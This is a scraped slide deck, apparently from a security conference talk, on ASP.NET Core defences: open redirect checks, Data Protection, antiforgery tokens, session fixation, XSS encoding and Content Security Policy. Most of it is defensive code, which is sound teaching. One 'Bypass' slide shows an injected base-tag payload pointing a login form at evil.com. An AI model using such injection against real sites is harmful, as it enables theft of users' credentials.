SlideShare a Scribd company logo
ptsecurity.com
Preventing attacks in
ASP .NET Core
Mikhail Shcherbakov
Independent Developer and
Consultant
Who am I
 Independent Developer and Consultant
 Co-organizer of .NET meetups http://dotnet.ru
 Public Speaker at DotNext, DotNetConf, ITGM, .NET meetups
 Former Product Manager at Cezurity, R&D Developer at Positive
Technologies and Team Lead at Acronis, Luxoft, Boeing
#2
What you can expect
 We’re going to talk about preventing Open Redirect, CSRF, XSS
attacks, using and architecture of cookies, Data Protection,
Session Management, CSP.
 We’re not going to discuss authentication and authorization.
#3
Microsoft .NET Core and ASP.NET Core
Bug Bounty Program
https://aka.ms/corebounty
#4
Prevention Open Redirect Attacks
Механизмы предотвращения атак в ASP.NET Core
Why do we talk about it?
https://github.com/OWASP/Top10/tree/master/2017/datacall
#7
WTF?
https://github.com/OWASP/Top10/raw/master/2017/OWASP%20To
p%2010%20-%202017%20RC1-English.pdf
#8
How to use the prevention mechanism
public async Task<IActionResult> Login(LoginViewModel model, string returnUrl)
{
// ...
return LocalRedirect(returnUrl);
}
private IActionResult RedirectToLocal(string returnUrl)
{
if (Url.IsLocalUrl(returnUrl))
return Redirect(returnUrl);
else
return RedirectToAction(nameof(HomeController.Index), "Home");
}
#10
https://technet.microsoft.com/library/security/4021279
#9
Data Protection
Overview
 No machine keys
 High level cryptography out-of-the-box
 Key stores out-of-the-box
 Supports key rotation automatically
 Provides isolation based on purposes automatically
#12
Protect / Unprotect
public class HomeController : Controller
{
private readonly IDataProtector protector;
public HomeController(IDataProtectionProvider provider)
{
protector = provider.CreateProtector("isolation-purpose");
}
public IActionResult Index(string input)
{
var protectedPayload = protector.Protect(input);
var unprotectedPayload = protector.Unprotect(protectedPayload);
return View();
}
}
#13
Protect / Unprotect
public IActionResult Index(string input)
{
var timeLimitedProtector = protector.ToTimeLimitedDataProtector();
var protectedData = timeLimitedProtector.Protect(input,
lifetime: TimeSpan.FromMinutes(30));
return View();
}
#14
Password Hashing
public void StorePassword(SecureString password)
{
var salt = new byte[128 / 8];
using (var rng = RandomNumberGenerator.Create())
{
rng.GetBytes(salt);
}
var hash = Convert.ToBase64String(KeyDerivation.Pbkdf2(
password: password,
salt: salt,
prf: KeyDerivationPrf.HMACSHA512,
iterationCount: 10000,
numBytesRequested: 256 / 8));
// store salt and hash to DB...
}
#15
Configuration
public void ConfigureServices(IServiceCollection services)
{
services.AddDataProtection()
.SetApplicationName("isolation-name")
.SetDefaultKeyLifetime(TimeSpan.FromDays(14))
.PersistKeysToFileSystem(new DirectoryInfo(@"servershare"))
.ProtectKeysWithDpapi()
.UseCryptographicAlgorithms(new AuthenticatedEncryptionSettings
{
EncryptionAlgorithm = EncryptionAlgorithm.AES_256_CBC,
ValidationAlgorithm = ValidationAlgorithm.HMACSHA256
});
}
Configuration
 HKLMSOFTWAREMicrosoftDotNetPackages
Microsoft.AspNetCore.DataProtection
 EncryptionType
 DefaultKeyLifetime
 KeyEscrowSinks
Under the hood
 The default payload protection algorithm used is AES-256-CBC
for confidentiality and HMACSHA256 for authenticity. A 512-bit
master key, rolled every 90 days
 Protected payload format
 32-bit magic header
 128-bit key id
 the part of specific to the encryptor
#16
Under the hood
https://www.youtube.com/watch?v=X1V6_OyQKLw
#17
Anti-Request Forgery
Why do we talk about it?
 Official documentation was published on 27 March
and it has inaccuracies
https://docs.microsoft.com/ru-ru/aspnet/core/security/anti-
request-forgery
 This is an excellent example how to work with cookies!
#19
Cross-Site Request Forgery (CSRF)
#20
Synchronizer Token Pattern
#21
Synchronizer Token Pattern
Double-Submit Cookie Pattern
#22
AutoValidateAntiforgeryToken
public class Startup
{
public void ConfigureServices(IServiceCollection services)
{
services.AddMvc(options =>
options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute()));
}
}
#23
ValidateAntiForgeryToken
IgnoreAntiforgeryToken
[ValidateAntiForgeryToken]
public class CustomController : Controller
{
[HttpPost]
[IgnoreAntiforgeryToken]
public IActionResult DoSomething(SomeViewModel model)
{
// no antiforgery token required
}
}
#24
Generate AntiForgery tokens automatically
<form asp-controller="Account" asp-action="Login" asp-route-returnurl="@ViewData["ReturnUrl"]"
method="post" class="form-horizontal">
<h4>Use a local account to log in.</h4>
<div asp-validation-summary="All" class="text-danger"></div>
<div class="form-group">...</div>
</form>
<form method="post" class="form-horizontal" action="/Account/Login" novalidate="novalidate">
<h4>Use a local account to log in.</h4>
<div class="text-danger validation-summary-valid" data-valmsg-summary="true">
<ul><li style="display: none"></li></ul>
</div>
<div class="form-group">...</div>
<input name="__RequestVerificationToken" type="hidden"
value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049_Z1ELltvpTkCt978aCpj1
</form>
#25
Add AntiForgery token explicitly
<form action="/" method="post">
@Html.AntiForgeryToken()
</form>
<input name="__RequestVerificationToken" type="hidden"
value="CfDJ8NrAkSldwD9CpLRyOtm6FiJB1Jr_F3FQJQDvhlHoLNJJrLA6zaMUmhjMsisu2D2tFkAiYgyWQawJk9vNm36s
#26
AJAX, WebAPI, SPAs…
 Do you use authentication cookies?
 No cookies, no problems… except for stealing a token by XSS 
For example, you may use JSON Web Token (JWT)
 Yes, I do… Go next page
#27
AJAX, WebAPI, SPAs…
@inject Microsoft.AspNetCore.Antiforgery.IAntiforgery Xsrf
@functions{
public string GetAntiXsrfRequestToken()
{
return Xsrf.GetAndStoreTokens(Context).RequestToken;
}
}
<input type="button" id="antiforgery" value="Antiforgery" />
<script>
$("#antiforgery").click(function () {
$.ajax({
type: "post",
dataType: "html",
headers:
{
"RequestVerificationToken": '@GetAntiXsrfRequestToken()'
},
url: '@Url.Action("Antiforgery", "Home")',
});
});
#28
AngularJS
HttpContext.Response.Cookies.Append("XSRF-TOKEN",
antiforgery.GetAndStoreTokens(HttpContext).RequestToken,
new Microsoft.AspNetCore.Http.CookieOptions { HttpOnly = false });
services.AddAntiforgery(options => options.HeaderName = "X-XSRF-TOKEN");
#29
Under the Hood
<form method="post" action="/Home/MyAction">
<div>...</div>
<input name="__RequestVerificationToken" type="hidden"
value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049
</form>
https://github.com/aspnet/Antiforgery
#30
New Token
private static readonly RandomNumberGenerator randomNumberGenerator =
RandomNumberGenerator.Create();
private static byte[] GenerateNewToken(int bitLength)
{
var data = new byte[bitLength / 8];
randomNumberGenerator.GetBytes(data);
return data;
}
#31
Cookie Attributes: Domain and Path
public class ResponseCookies : IResponseCookies
{
public void Append(string key, string value, CookieOptions options)
{
var cookieHeaderValue = new SetCookieHeaderValue(
Uri.EscapeDataString(key), Uri.EscapeDataString(value));
cookieHeaderValue.Domain = options.Domain;
cookieHeaderValue.Path = options.Path;
#32
Cookie Attributes: HttpOnly
#33
Using HttpOnly is enough?
cryptoSystem = provider.CreateProtector(
"Microsoft.AspNetCore.Antiforgery.AntiforgeryToken.v1");
// ...
var bytes = cryptoSystem.Protect(stream.ToArray());
#34
Why isn't it enough again?
/* The serialized format of the anti-XSRF token is as follows:
* Version: 1 byte integer
* SecurityToken: 16 byte binary blob
* IsCookieToken: 1 byte Boolean
* [if IsCookieToken != true]
* +- IsClaimsBased: 1 byte Boolean
* | [if IsClaimsBased = true]
* | `- ClaimUid: 32 byte binary blob
* | [if IsClaimsBased = false]
* | `- Username: UTF-8 string with 7-bit integer length prefix
* `- AdditionalData: UTF-8 string with 7-bit integer length prefix
*/
#35
Encrypted DTO Pattern
#36
Session Management
Overview
private string GetMessageFromCacheOrDb()
{
// check session cache
byte[] value;
if (HttpContext.Session.TryGetValue("msg", out value))
{
return System.Text.Encoding.UTF8.GetString(value);
}
var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name);
HttpContext.Session.SetString("msg", valueMessage);
return valueMessage;
}
#38
Overview
#38
Why do we talk about it?
 The current implementation has a weakness that can be the
cause of Session Fixation attack.
 The Session Fixation took 2th prize in OWASP Top 10.
#40
Demo code
private string GetMessageFromCacheOrDb()
{
// check session cache
byte[] value;
if (HttpContext.Session.TryGetValue("msg", out value))
{
return System.Text.Encoding.UTF8.GetString(value);
}
var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name);
HttpContext.Session.SetString("msg", valueMessage);
return valueMessage;
}
#41
Механизмы предотвращения атак в ASP.NET Core
Session Fixation in ASP .NET Core
 Don’t store security sensitive data in a session!..
 Or die fix it in your project.
#43
Prevention XSS Attacks
Why do we talk about it?
 The XSS is the most popular attack to web applications
 https://github.com/OWASP/Top10/tree/master/2017/datacall
 https://twitter.com/kochetkov_v/status/857575220160462850
 This is a good entry point for other attacks with more impact
 Only some people know and correctly use built-in XSS
prevention mechanisms
#45
Same-origin policy (SOP)
 URI scheme (http)
 Hostname (my-domain.com)
 Port number (80)
#46
Potential XSS
<script src="@ViewData["UntrustedInput"]">
</script>
#47
Potential XSS
<script>
@ViewData["UntrustedInput"];
</script>
#48
Encoding points
 HTML
 JavaScript
 URL
 XML
 SVG
#49
Encoding points
 HtmlEncoder (@<member> in .cshtml)
 JavaScriptEncoder
 UrlEncoder
 Any sanitizer https://github.com/mganss/HtmlSanitizer
#50
Content Security Policy (CSP)
app.UseMvc();
app.Use(async (context, next) =>
{
context.Response.Headers.Add("Content-Security-Policy",
"default-src 'self'; report-uri /cspreport");
await next();
});
#51
CSP Report Request
public class CspReportRequest
{
[JsonProperty(PropertyName = "csp-report")] public CspReport CspReport { get; set; }
}
public class CspReport
{
[JsonProperty(PropertyName = "document-uri")] public string DocumentUri { get; set; }
[JsonProperty(PropertyName = "referrer")] public string Referrer { get; set; }
[JsonProperty(PropertyName = "violated-directive")] public string ViolatedDirective { get; set; }
[JsonProperty(PropertyName = "effective-directive")] public string EffectiveDirective {get; set;}
[JsonProperty(PropertyName = "original-policy")] public string OriginalPolicy { get; set; }
[JsonProperty(PropertyName = "blocked-uri")] public string BlockedUri { get; set; }
[JsonProperty(PropertyName = "status-code")] public int StatusCode { get; set; }
}
#52
CSP Report Endpoint
[HttpPost("~/cspreport")]
public IActionResult CspReport([FromBody] CspReportRequest request)
{
// log and analyze the report...
return Ok();
}
#53
Bypass
<base href='http://evil.com/'>
<form method="post" class="form-horizontal" action="/Account/Login">
<h4>Use a local account to log in.</h4>
<input type="email" id="Email" name="Email" value="" />
<input type="password" id="Password" name="Password" />
<button type="submit">Log in</button>
<input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0N
</form>
#54
x-xss-protection
app.UseMvc();
app.Use(async (context, next) =>
{
context.Response.Headers.Add("x-xss-protection", "1");
await next();
});
#55
Summary
 Michal Zalewski “Tangled Web. A Guide to Securing Modern
Web Applications”
 Stan Drapkin “Security Driven .NET”
 OWASP Testing Guide v4
#56
Questions?!
Mikhail Shcherbakov
@yu5k3
https://www.linkedin.com/in/mikhailshcherbakov
Independent Developer and Consultant
The presentation contains footage from Olive Kitteridge
ptsecurity.com
Спасибо!
Thank you!

More Related Content

PPTX
Database Firewall from Scratch
PDF
Understanding Windows Access Token Manipulation
PDF
Catching Multilayered Zero-Day Attacks on MS Office
PDF
Implementing ossec
PDF
Security in Android Applications / Александр Смирнов (RedMadRobot)
PDF
Ossec Lightning
PDF
CDI and Seam 3: an Exciting New Landscape for Java EE Development
PPTX
BlueHat v17 || Mitigations for the Masses: From EMET to Windows Defender Exp...
Database Firewall from Scratch
Understanding Windows Access Token Manipulation
Catching Multilayered Zero-Day Attacks on MS Office
Implementing ossec
Security in Android Applications / Александр Смирнов (RedMadRobot)
Ossec Lightning
CDI and Seam 3: an Exciting New Landscape for Java EE Development
BlueHat v17 || Mitigations for the Masses: From EMET to Windows Defender Exp...

What's hot (20)

PDF
BlueHat v17 || Detecting Compromise on Windows Endpoints with Osquery
PDF
BlueHat v17 || Where, how, and why is SSL traffic on mobile getting intercept...
PDF
A Threat Hunter Himself
PDF
Linux Security, from Concept to Tooling
PDF
CSW2017 Weston miller csw17_mitigating_native_remote_code_execution
PDF
Hunting for Credentials Dumping in Windows Environment
PDF
Nguyen Duc Thinh - Docker security in Dev Ops environment 2.0
PDF
How Many Linux Security Layers Are Enough?
PDF
Enabling Java 2 Runtime Security with Eclipse Plug-ins - Ted Habeck, Advisory...
PDF
Secure Coding for Java - An Introduction
PDF
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-mining
PPT
BlueHat v17 || Out of the Truman Show: VM Escape in VMware Gracefully
PDF
Linux Hardening
PPTX
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
PPTX
BlueHat v17 || Down the Open Source Software Rabbit Hole
PDF
CSW2017 Enrico branca What if encrypted communications are not as secure as w...
PDF
Handling of compromised Linux systems
PDF
Hacking intranet websites
PDF
Linux Security Scanning with Lynis
PDF
What you need to know about ExPetr ransomware
BlueHat v17 || Detecting Compromise on Windows Endpoints with Osquery
BlueHat v17 || Where, how, and why is SSL traffic on mobile getting intercept...
A Threat Hunter Himself
Linux Security, from Concept to Tooling
CSW2017 Weston miller csw17_mitigating_native_remote_code_execution
Hunting for Credentials Dumping in Windows Environment
Nguyen Duc Thinh - Docker security in Dev Ops environment 2.0
How Many Linux Security Layers Are Enough?
Enabling Java 2 Runtime Security with Eclipse Plug-ins - Ted Habeck, Advisory...
Secure Coding for Java - An Introduction
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-mining
BlueHat v17 || Out of the Truman Show: VM Escape in VMware Gracefully
Linux Hardening
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
BlueHat v17 || Down the Open Source Software Rabbit Hole
CSW2017 Enrico branca What if encrypted communications are not as secure as w...
Handling of compromised Linux systems
Hacking intranet websites
Linux Security Scanning with Lynis
What you need to know about ExPetr ransomware
Ad

Similar to Механизмы предотвращения атак в ASP.NET Core (20)

PDF
Механизмы предотвращения атак в ASP.NET Core
PPTX
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
PPT
Top Ten Tips For Tenacious Defense In Asp.Net
PDF
Sea surfing in asp.net mvc
PPTX
Spa Secure Coding Guide
PPTX
Asp.Net Identity
ODP
Secure coding in C#
PPT
Secure Web Applications Ver0.01
PPTX
Beefing Up Security In ASP.NET Dot Net Bangalore 3rd meet up on May 16 2015
PDF
Securing ASP.NET MVC 5 Web Applications
PPTX
Identity in ASP.NET Core
PPTX
Token-based uthentication
PPTX
Web security for app developers
PDF
Secure mvc application saineshwar
PPTX
Don't get stung - an introduction to the OWASP Top 10
PPSX
ASP.Net Presentation Part3
PPTX
Building Secure User Interfaces With JWTs
PDF
Security .NET.pdf
PPTX
Securing .Net Hosted Services
PPTX
OWASP Ireland June Chapter Meeting - Paul Mooney on ARMOR & CSRF
Механизмы предотвращения атак в ASP.NET Core
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
Top Ten Tips For Tenacious Defense In Asp.Net
Sea surfing in asp.net mvc
Spa Secure Coding Guide
Asp.Net Identity
Secure coding in C#
Secure Web Applications Ver0.01
Beefing Up Security In ASP.NET Dot Net Bangalore 3rd meet up on May 16 2015
Securing ASP.NET MVC 5 Web Applications
Identity in ASP.NET Core
Token-based uthentication
Web security for app developers
Secure mvc application saineshwar
Don't get stung - an introduction to the OWASP Top 10
ASP.Net Presentation Part3
Building Secure User Interfaces With JWTs
Security .NET.pdf
Securing .Net Hosted Services
OWASP Ireland June Chapter Meeting - Paul Mooney on ARMOR & CSRF
Ad

More from Positive Hack Days (20)

PPTX
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
PPTX
Как мы собираем проекты в выделенном окружении в Windows Docker
PPTX
Типовая сборка и деплой продуктов в Positive Technologies
PPTX
Аналитика в проектах: TFS + Qlik
PPTX
Использование анализатора кода SonarQube
PPTX
Развитие сообщества Open DevOps Community
PPTX
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
PPTX
Автоматизация построения правил для Approof
PDF
Мастер-класс «Трущобы Application Security»
PDF
Формальные методы защиты приложений
PDF
Эвристические методы защиты приложений
PDF
Теоретические основы Application Security
PPTX
От экспериментального программирования к промышленному: путь длиной в 10 лет
PDF
Уязвимое Android-приложение: N проверенных способов наступить на грабли
PPTX
Требования по безопасности в архитектуре ПО
PDF
Формальная верификация кода на языке Си
PDF
SOC для КИИ: израильский опыт
PDF
Honeywell Industrial Cyber Security Lab & Services Center
PDF
Credential stuffing и брутфорс-атаки
PDF
Доклад SiteSecure
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Как мы собираем проекты в выделенном окружении в Windows Docker
Типовая сборка и деплой продуктов в Positive Technologies
Аналитика в проектах: TFS + Qlik
Использование анализатора кода SonarQube
Развитие сообщества Open DevOps Community
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Автоматизация построения правил для Approof
Мастер-класс «Трущобы Application Security»
Формальные методы защиты приложений
Эвристические методы защиты приложений
Теоретические основы Application Security
От экспериментального программирования к промышленному: путь длиной в 10 лет
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Требования по безопасности в архитектуре ПО
Формальная верификация кода на языке Си
SOC для КИИ: израильский опыт
Honeywell Industrial Cyber Security Lab & Services Center
Credential stuffing и брутфорс-атаки
Доклад SiteSecure

Recently uploaded (20)

PDF
Approach and Philosophy of On baking technology
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PDF
NewMind AI Monthly Chronicles - July 2025
PPTX
A Presentation on Artificial Intelligence
PDF
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
PPTX
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
PDF
Review of recent advances in non-invasive hemoglobin estimation
PDF
NewMind AI Weekly Chronicles - August'25 Week I
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PDF
CIFDAQ's Market Insight: SEC Turns Pro Crypto
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PDF
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
PDF
cuic standard and advanced reporting.pdf
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
Electronic commerce courselecture one. Pdf
PDF
Encapsulation theory and applications.pdf
Approach and Philosophy of On baking technology
Agricultural_Statistics_at_a_Glance_2022_0.pdf
Diabetes mellitus diagnosis method based random forest with bat algorithm
NewMind AI Monthly Chronicles - July 2025
A Presentation on Artificial Intelligence
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
Review of recent advances in non-invasive hemoglobin estimation
NewMind AI Weekly Chronicles - August'25 Week I
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
CIFDAQ's Market Insight: SEC Turns Pro Crypto
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
The Rise and Fall of 3GPP – Time for a Sabbatical?
Chapter 3 Spatial Domain Image Processing.pdf
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
cuic standard and advanced reporting.pdf
“AI and Expert System Decision Support & Business Intelligence Systems”
Electronic commerce courselecture one. Pdf
Encapsulation theory and applications.pdf

Механизмы предотвращения атак в ASP.NET Core

  • 1. ptsecurity.com Preventing attacks in ASP .NET Core Mikhail Shcherbakov Independent Developer and Consultant
  • 2. Who am I  Independent Developer and Consultant  Co-organizer of .NET meetups http://dotnet.ru  Public Speaker at DotNext, DotNetConf, ITGM, .NET meetups  Former Product Manager at Cezurity, R&D Developer at Positive Technologies and Team Lead at Acronis, Luxoft, Boeing #2
  • 3. What you can expect  We’re going to talk about preventing Open Redirect, CSRF, XSS attacks, using and architecture of cookies, Data Protection, Session Management, CSP.  We’re not going to discuss authentication and authorization. #3
  • 4. Microsoft .NET Core and ASP.NET Core Bug Bounty Program https://aka.ms/corebounty #4
  • 7. Why do we talk about it? https://github.com/OWASP/Top10/tree/master/2017/datacall #7
  • 9. How to use the prevention mechanism public async Task<IActionResult> Login(LoginViewModel model, string returnUrl) { // ... return LocalRedirect(returnUrl); } private IActionResult RedirectToLocal(string returnUrl) { if (Url.IsLocalUrl(returnUrl)) return Redirect(returnUrl); else return RedirectToAction(nameof(HomeController.Index), "Home"); } #10
  • 12. Overview  No machine keys  High level cryptography out-of-the-box  Key stores out-of-the-box  Supports key rotation automatically  Provides isolation based on purposes automatically #12
  • 13. Protect / Unprotect public class HomeController : Controller { private readonly IDataProtector protector; public HomeController(IDataProtectionProvider provider) { protector = provider.CreateProtector("isolation-purpose"); } public IActionResult Index(string input) { var protectedPayload = protector.Protect(input); var unprotectedPayload = protector.Unprotect(protectedPayload); return View(); } } #13
  • 14. Protect / Unprotect public IActionResult Index(string input) { var timeLimitedProtector = protector.ToTimeLimitedDataProtector(); var protectedData = timeLimitedProtector.Protect(input, lifetime: TimeSpan.FromMinutes(30)); return View(); } #14
  • 15. Password Hashing public void StorePassword(SecureString password) { var salt = new byte[128 / 8]; using (var rng = RandomNumberGenerator.Create()) { rng.GetBytes(salt); } var hash = Convert.ToBase64String(KeyDerivation.Pbkdf2( password: password, salt: salt, prf: KeyDerivationPrf.HMACSHA512, iterationCount: 10000, numBytesRequested: 256 / 8)); // store salt and hash to DB... } #15
  • 16. Configuration public void ConfigureServices(IServiceCollection services) { services.AddDataProtection() .SetApplicationName("isolation-name") .SetDefaultKeyLifetime(TimeSpan.FromDays(14)) .PersistKeysToFileSystem(new DirectoryInfo(@"servershare")) .ProtectKeysWithDpapi() .UseCryptographicAlgorithms(new AuthenticatedEncryptionSettings { EncryptionAlgorithm = EncryptionAlgorithm.AES_256_CBC, ValidationAlgorithm = ValidationAlgorithm.HMACSHA256 }); }
  • 18. Under the hood  The default payload protection algorithm used is AES-256-CBC for confidentiality and HMACSHA256 for authenticity. A 512-bit master key, rolled every 90 days  Protected payload format  32-bit magic header  128-bit key id  the part of specific to the encryptor #16
  • 21. Why do we talk about it?  Official documentation was published on 27 March and it has inaccuracies https://docs.microsoft.com/ru-ru/aspnet/core/security/anti- request-forgery  This is an excellent example how to work with cookies! #19
  • 25. AutoValidateAntiforgeryToken public class Startup { public void ConfigureServices(IServiceCollection services) { services.AddMvc(options => options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute())); } } #23
  • 26. ValidateAntiForgeryToken IgnoreAntiforgeryToken [ValidateAntiForgeryToken] public class CustomController : Controller { [HttpPost] [IgnoreAntiforgeryToken] public IActionResult DoSomething(SomeViewModel model) { // no antiforgery token required } } #24
  • 27. Generate AntiForgery tokens automatically <form asp-controller="Account" asp-action="Login" asp-route-returnurl="@ViewData["ReturnUrl"]" method="post" class="form-horizontal"> <h4>Use a local account to log in.</h4> <div asp-validation-summary="All" class="text-danger"></div> <div class="form-group">...</div> </form> <form method="post" class="form-horizontal" action="/Account/Login" novalidate="novalidate"> <h4>Use a local account to log in.</h4> <div class="text-danger validation-summary-valid" data-valmsg-summary="true"> <ul><li style="display: none"></li></ul> </div> <div class="form-group">...</div> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049_Z1ELltvpTkCt978aCpj1 </form> #25
  • 28. Add AntiForgery token explicitly <form action="/" method="post"> @Html.AntiForgeryToken() </form> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8NrAkSldwD9CpLRyOtm6FiJB1Jr_F3FQJQDvhlHoLNJJrLA6zaMUmhjMsisu2D2tFkAiYgyWQawJk9vNm36s #26
  • 29. AJAX, WebAPI, SPAs…  Do you use authentication cookies?  No cookies, no problems… except for stealing a token by XSS  For example, you may use JSON Web Token (JWT)  Yes, I do… Go next page #27
  • 30. AJAX, WebAPI, SPAs… @inject Microsoft.AspNetCore.Antiforgery.IAntiforgery Xsrf @functions{ public string GetAntiXsrfRequestToken() { return Xsrf.GetAndStoreTokens(Context).RequestToken; } } <input type="button" id="antiforgery" value="Antiforgery" /> <script> $("#antiforgery").click(function () { $.ajax({ type: "post", dataType: "html", headers: { "RequestVerificationToken": '@GetAntiXsrfRequestToken()' }, url: '@Url.Action("Antiforgery", "Home")', }); }); #28
  • 32. Under the Hood <form method="post" action="/Home/MyAction"> <div>...</div> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049 </form> https://github.com/aspnet/Antiforgery #30
  • 33. New Token private static readonly RandomNumberGenerator randomNumberGenerator = RandomNumberGenerator.Create(); private static byte[] GenerateNewToken(int bitLength) { var data = new byte[bitLength / 8]; randomNumberGenerator.GetBytes(data); return data; } #31
  • 34. Cookie Attributes: Domain and Path public class ResponseCookies : IResponseCookies { public void Append(string key, string value, CookieOptions options) { var cookieHeaderValue = new SetCookieHeaderValue( Uri.EscapeDataString(key), Uri.EscapeDataString(value)); cookieHeaderValue.Domain = options.Domain; cookieHeaderValue.Path = options.Path; #32
  • 36. Using HttpOnly is enough? cryptoSystem = provider.CreateProtector( "Microsoft.AspNetCore.Antiforgery.AntiforgeryToken.v1"); // ... var bytes = cryptoSystem.Protect(stream.ToArray()); #34
  • 37. Why isn't it enough again? /* The serialized format of the anti-XSRF token is as follows: * Version: 1 byte integer * SecurityToken: 16 byte binary blob * IsCookieToken: 1 byte Boolean * [if IsCookieToken != true] * +- IsClaimsBased: 1 byte Boolean * | [if IsClaimsBased = true] * | `- ClaimUid: 32 byte binary blob * | [if IsClaimsBased = false] * | `- Username: UTF-8 string with 7-bit integer length prefix * `- AdditionalData: UTF-8 string with 7-bit integer length prefix */ #35
  • 40. Overview private string GetMessageFromCacheOrDb() { // check session cache byte[] value; if (HttpContext.Session.TryGetValue("msg", out value)) { return System.Text.Encoding.UTF8.GetString(value); } var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name); HttpContext.Session.SetString("msg", valueMessage); return valueMessage; } #38
  • 42. Why do we talk about it?  The current implementation has a weakness that can be the cause of Session Fixation attack.  The Session Fixation took 2th prize in OWASP Top 10. #40
  • 43. Demo code private string GetMessageFromCacheOrDb() { // check session cache byte[] value; if (HttpContext.Session.TryGetValue("msg", out value)) { return System.Text.Encoding.UTF8.GetString(value); } var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name); HttpContext.Session.SetString("msg", valueMessage); return valueMessage; } #41
  • 45. Session Fixation in ASP .NET Core  Don’t store security sensitive data in a session!..  Or die fix it in your project. #43
  • 47. Why do we talk about it?  The XSS is the most popular attack to web applications  https://github.com/OWASP/Top10/tree/master/2017/datacall  https://twitter.com/kochetkov_v/status/857575220160462850  This is a good entry point for other attacks with more impact  Only some people know and correctly use built-in XSS prevention mechanisms #45
  • 48. Same-origin policy (SOP)  URI scheme (http)  Hostname (my-domain.com)  Port number (80) #46
  • 51. Encoding points  HTML  JavaScript  URL  XML  SVG #49
  • 52. Encoding points  HtmlEncoder (@<member> in .cshtml)  JavaScriptEncoder  UrlEncoder  Any sanitizer https://github.com/mganss/HtmlSanitizer #50
  • 53. Content Security Policy (CSP) app.UseMvc(); app.Use(async (context, next) => { context.Response.Headers.Add("Content-Security-Policy", "default-src 'self'; report-uri /cspreport"); await next(); }); #51
  • 54. CSP Report Request public class CspReportRequest { [JsonProperty(PropertyName = "csp-report")] public CspReport CspReport { get; set; } } public class CspReport { [JsonProperty(PropertyName = "document-uri")] public string DocumentUri { get; set; } [JsonProperty(PropertyName = "referrer")] public string Referrer { get; set; } [JsonProperty(PropertyName = "violated-directive")] public string ViolatedDirective { get; set; } [JsonProperty(PropertyName = "effective-directive")] public string EffectiveDirective {get; set;} [JsonProperty(PropertyName = "original-policy")] public string OriginalPolicy { get; set; } [JsonProperty(PropertyName = "blocked-uri")] public string BlockedUri { get; set; } [JsonProperty(PropertyName = "status-code")] public int StatusCode { get; set; } } #52
  • 55. CSP Report Endpoint [HttpPost("~/cspreport")] public IActionResult CspReport([FromBody] CspReportRequest request) { // log and analyze the report... return Ok(); } #53
  • 56. Bypass <base href='http://evil.com/'> <form method="post" class="form-horizontal" action="/Account/Login"> <h4>Use a local account to log in.</h4> <input type="email" id="Email" name="Email" value="" /> <input type="password" id="Password" name="Password" /> <button type="submit">Log in</button> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0N </form> #54
  • 57. x-xss-protection app.UseMvc(); app.Use(async (context, next) => { context.Response.Headers.Add("x-xss-protection", "1"); await next(); }); #55
  • 58. Summary  Michal Zalewski “Tangled Web. A Guide to Securing Modern Web Applications”  Stan Drapkin “Security Driven .NET”  OWASP Testing Guide v4 #56

Editor's Notes

  • #9: Positive Technologies Top 10
  • #19: https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/configuration/machine-wide-policy
  • #27: Except: GET HEAD OPTIONS TRACE
  • #37: Потенциальные проблемы с авторизацией
  • #38: Why using HttpOnly attribute is not enough?
